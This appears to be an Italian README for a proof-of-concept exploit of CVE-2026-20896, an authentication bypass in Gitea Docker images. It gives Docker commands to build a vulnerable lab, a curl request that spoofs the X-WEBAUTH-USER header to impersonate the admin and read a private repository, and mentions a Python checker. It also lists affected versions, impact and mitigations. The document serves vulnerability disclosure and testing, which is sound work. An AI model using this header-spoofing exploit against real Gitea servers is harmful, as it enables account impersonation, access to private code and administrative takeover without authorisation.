
CVE-2026-20896 — Updated!
Gitea Docker Image Authentication Bypass
CVE-2026-20896: PoC per il Bypass dell'Autenticazione nell'Immagine Docker di Gitea
[!WARNING] Utilizza questo PoC solo in un laboratorio locale o contro un sistema che sei esplicitamente autorizzato a testare.
https://github.com/user-attachments/assets/b73af2fe-0e59-438b-80d6-be93fd75697b
Panoramica
CVE-2026-20896 è un bypass dell'autenticazione nelle immagini Docker ufficiali di Gitea interessate. Quando l'autenticazione tramite reverse-proxy è abilitata, l'impostazione REVERSE_PROXY_TRUSTED_PROXIES = * generata dall'immagine consente a un client che può raggiungere il backend Gitea di impersonare un utente esistente tramite l'header X-WEBAUTH-USER.
Il laboratorio crea un amministratore chiamato gitea-admin con una password casuale e memorizza CVE-2026-20896_AUTH_BYPASS_CONFIRMED nel repository privato gitea-admin/private-proof. La lettura di quel file senza conoscere la password casuale dell'amministratore dimostra il bypass.
Versioni Interessate
| Categoria | Versione |
|---|---|
| Vulnerabile | Immagini Docker ufficiali gitea/gitea ≤ 1.26.2 |
| Prima patch | 1.26.3 |
| Consigliata | 1.26.4 o successiva |
La configurazione vulnerabile richiede che l'autenticazione tramite reverse-proxy sia abilitata e che il backend Gitea sia direttamente raggiungibile, oppure che un proxy a monte preservi l'header di identità fornito dall'attaccante. Un container reverse-proxy non è necessario per questa riproduzione locale.
Ambiente
# build
docker build -t cve-2026-20896-gitea-vuln .
# run
docker run -d --rm --name cve-2026-20896-gitea-vuln -p 127.0.0.1:3000:3000 cve-2026-20896-gitea-vuln
Attendi alcuni secondi affinché Gitea e il repository di prova privato vengano inizializzati.
PoC
cURL
curl -s -L -H "X-WEBAUTH-USER: gitea-admin" http://127.0.0.1:3000/gitea-admin/private-proof/raw/branch/main/proof.txt
Lo sfruttamento riuscito restituisce CVE-2026-20896_AUTH_BYPASS_CONFIRMED.
Python
python poc.py http://127.0.0.1:3000
Lo script confronta le richieste non autenticate, non amministrative e amministrative contraffatte e stampa VULNERABLE quando il bypass dell'autorizzazione viene confermato. Richiede Python 3.10 o successivo e utilizza solo la libreria standard.
Impatto
- Impersonificazione di utenti Gitea noti o prevedibili
- Accesso non autorizzato a repository privati e risorse utente
- Azioni amministrative quando viene impersonificato un account amministratore
Mitigazione
- Aggiorna a Gitea 1.26.3 o successivo; è consigliata la versione 1.26.4 o successiva.
- Limita
REVERSE_PROXY_TRUSTED_PROXIESagli indirizzi proxy attendibili. - Impedisci l'accesso diretto al backend Gitea e sovrascrivi gli header di identità forniti esternamente.
- Disabilita l'autenticazione tramite reverse-proxy quando non è necessaria.
Pulizia
docker stop cve-2026-20896-gitea-vuln